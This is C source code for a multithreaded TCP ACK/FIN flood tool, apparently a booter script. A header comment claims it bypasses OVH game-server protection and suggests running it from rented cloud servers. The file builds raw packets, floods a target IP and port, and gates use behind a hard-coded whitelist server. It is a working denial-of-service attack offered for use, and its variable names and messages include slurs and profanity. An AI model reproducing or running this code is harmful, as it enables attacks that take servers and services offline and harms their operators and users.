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/*
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gcc -o oackv1 oackv1.c -pthread
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This script does not need ip spoofing and works on OVHGAME,
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you can buy servers on clouds like: digitalocean,vultr,linode..
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Rememeber remove whitelist function If you dont want to use it "whitelistcheck();" on line 310
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*/
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#include <unistd.h>
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#include <time.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/ioctl.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <pthread.h>
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#include <netinet/tcp.h>
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#include <netinet/ip.h>
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#include <netinet/in.h>
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#include <netinet/if_ether.h>
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#include <netdb.h>
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#include <net/if.h>
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#include <arpa/inet.h>
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#define MAX_PACKET_SIZE 4096
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#define PHI 0x9e3779b9
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static unsigned long int Q[4096], c = 362436;
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static unsigned int floodport;
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volatile int limiter;
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volatile unsigned int pps;
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volatile unsigned int sleeptime = 100;
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void init_rand(unsigned long int x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
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}
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unsigned long int rand_cmwc(void)
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{
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unsigned long long int t, a = 18782LL;
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static unsigned long int i = 4095;
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unsigned long int x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c) {
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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int randnum(int min_num, int max_num)
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{
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int result = 0, low_num = 0, hi_num = 0;
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if (min_num < max_num)
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{
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low_num = min_num;
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hi_num = max_num + 1;
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} else {
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low_num = max_num + 1;
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hi_num = min_num;
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}
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result = (rand_cmwc() % (hi_num - low_num)) + low_num;
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return result;
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}
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unsigned short csum (unsigned short *buf, int count)
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{
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register unsigned long sum = 0;
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while( count > 1 ) { sum += *buf++; count -= 2; }
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if(count > 0) { sum += *(unsigned char *)buf; }
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while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
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return (unsigned short)(~sum);
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}
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unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int psize) {
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struct tcp_pseudo
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{
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unsigned long src_addr;
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unsigned long dst_addr;
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unsigned char zero;
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unsigned char proto;
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unsigned short length;
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} pseudohead;
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unsigned short total_len = iph->tot_len;
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pseudohead.src_addr=iph->saddr;
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pseudohead.dst_addr=iph->daddr;
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pseudohead.zero=0;
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pseudohead.proto=IPPROTO_TCP;
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pseudohead.length=htons(sizeof(struct tcphdr) + psize);
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int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + psize;
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unsigned short *tcp = malloc(totaltcp_len);
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memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
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memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + psize);
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unsigned short output = csum(tcp,totaltcp_len);
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free(tcp);
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return output;
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}
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void setup_ip_header(struct iphdr *iph)
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{
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->id = htonl(54321);
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iph->frag_off = 0;
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iph->ttl = MAXTTL;
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iph->protocol = 6;
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iph->check = 0;
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}
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void setup_tcp_header(struct tcphdr *tcph)
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{
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tcph->source = rand();
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tcph->seq = rand();
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tcph->ack_seq = rand();
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tcph->res2 = 0;
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tcph->ack = 1;
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tcph->fin = 0;
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tcph->doff = 5;
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tcph->window = rand();
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tcph->check = 0;
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tcph->urg_ptr = 0;
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}
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void setup_fin_header(struct tcphdr *tcph)
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{
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tcph->source = rand();
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tcph->seq = rand();
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tcph->ack_seq = rand();
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tcph->res2 = 0;
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tcph->ack = 1;
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tcph->fin = 1;
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tcph->doff = 5;
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tcph->window = rand();
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tcph->check = 0;
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tcph->urg_ptr = 0;
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}
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int socket_connect(char *host, in_port_t port, int sport) {
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struct hostent *hp;
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struct sockaddr_in addr,cliaddr;
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int on = 1, sock;
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if ((hp = gethostbyname(host)) == NULL) return 0;
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bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
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addr.sin_port = htons(port);
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addr.sin_family = AF_INET;
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cliaddr.sin_family = AF_INET;
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cliaddr.sin_addr.s_addr= htonl(INADDR_ANY);
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cliaddr.sin_port=htons(sport);
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sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
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bind(sock,(struct sockaddr *)&cliaddr,sizeof(cliaddr));
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setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
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if (sock == -1) return 0;
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if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
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}
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void *flood(void *par1)
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{
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char *td = (char *)par1;
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char datagram[MAX_PACKET_SIZE];
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struct iphdr *iph = (struct iphdr *)datagram;
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struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
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int sportne = randnum(55000,64932);
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sportne = randnum(55000,64932);
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_port = htons(floodport);
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sin.sin_addr.s_addr = inet_addr(td);
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int fd = 0;
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struct sockaddr_in addr;
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socklen_t addr_len = sizeof(addr);
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int errno = 0;
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if((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
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{
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return 0;
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}
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addr.sin_family = AF_INET;
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addr.sin_addr.s_addr = inet_addr("8.8.8.8");
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addr.sin_port = htons(53);
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connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
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getsockname(fd, (struct sockaddr *)&addr, &addr_len);
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close(fd);
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int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
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if(s < 0){
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fprintf(stderr, "Could not open raw socket.\n");
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exit(-1);
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}
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memset(datagram, 0, MAX_PACKET_SIZE);
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setup_ip_header(iph);
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setup_tcp_header(tcph);
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tcph->dest = htons(floodport);
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iph->saddr = inet_addr(inet_ntoa(addr.sin_addr));
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iph->daddr = sin.sin_addr.s_addr;
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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int tmp = 1;
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const int *val = &tmp;
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if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
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exit(-1);
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}
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int gayassfuck = randnum(725,1000);
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unsigned char payload1[gayassfuck];
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int mb;
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for(mb = 0; mb <= gayassfuck; mb++){
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payload1[mb] = 88;
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}
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int sumup = sizeof(struct tcphdr) + sizeof(struct iphdr);
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memcpy((void *)tcph + sizeof(struct tcphdr) + sizeof(struct iphdr), payload1, gayassfuck);
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + gayassfuck;
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socket_connect(td, floodport, sportne);
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init_rand(time(NULL));
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register unsigned int i;
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register unsigned int packetcounter = 0;
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i = 0;
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while(1){
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if(packetcounter > 1000){
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setup_fin_header(tcph);
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
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iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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tcph->seq = rand_cmwc() & 0xFFFF;
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tcph->ack_seq = rand_cmwc() & 0xFFFF;
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tcph->source = htons(rand_cmwc() & 0xFFFF);
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tcph->source = htons(sportne);
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tcph->check = tcpcsum(iph, tcph, 0);
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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setup_tcp_header(tcph);
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + gayassfuck;
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sportne = randnum(45000,64932);
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socket_connect(td, floodport, sportne);
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sleep(1);
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packetcounter = 0;
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} else {
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packetcounter += 1;
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}
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tcph->check = 0;
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iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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tcph->seq = rand_cmwc() & 0xFFFF;
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tcph->ack_seq = rand_cmwc() & 0xFFFF;
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tcph->source = htons(sportne);
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tcph->check = tcpcsum(iph, tcph, gayassfuck);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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pps++;
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i = 0;
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usleep(1900);
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}
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}
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int whitelistcheck()
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{
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printf("Checking whitelist...\n");
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int portno = 787;
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char *hostname = "168.138.141.224";
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int sockfd;
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struct sockaddr_in serv_addr;
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struct hostent *server;
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sockfd = socket(AF_INET, SOCK_STREAM, 0);
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if (sockfd < 0) {
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error("ERROR opening socket");
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}
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server = gethostbyname(hostname);
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if (server == NULL) {
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fprintf(stderr,"ERROR, no such host\n");
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exit(0);
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}
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bzero((char *) &serv_addr, sizeof(serv_addr));
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serv_addr.sin_family = AF_INET;
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bcopy((char *)server->h_addr,
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(char *)&serv_addr.sin_addr.s_addr,
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server->h_length);
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serv_addr.sin_port = htons(portno);
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if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) {
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printf("go fuck yourself bastard\n");
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exit(0);
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} else {
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printf("Success!\n");
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}
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close(sockfd);
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}
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int main(int argc, char *argv[ ])
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{
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if(argc < 6){
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fprintf(stderr, "error\n");
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exit(-1);
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}
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whitelistcheck();
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fprintf(stdout, "preparing flood...\n");
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int num_threads = atoi(argv[3]);
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floodport = atoi(argv[2]);
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int maxpps = atoi(argv[4]);
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limiter = 0;
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pps = 0;
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pthread_t thread[num_threads];
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int multiplier = 20;
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int i;
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for(i = 0;i<num_threads;i++){
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pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
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}
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fprintf(stdout, "flooding now...\n");
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for(i = 0;i<(atoi(argv[5])*multiplier);i++)
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{
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usleep((1000/multiplier)*1000);
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if((pps*multiplier) > maxpps)
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{
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if(1 > limiter)
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{
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sleeptime+=100;
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} else {
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limiter--;
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}
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} else {
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limiter++;
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if(sleeptime > 25)
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{
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sleeptime-=25;
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} else {
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sleeptime = 0;
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}
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}
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pps = 0;
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}
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return 0;
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}
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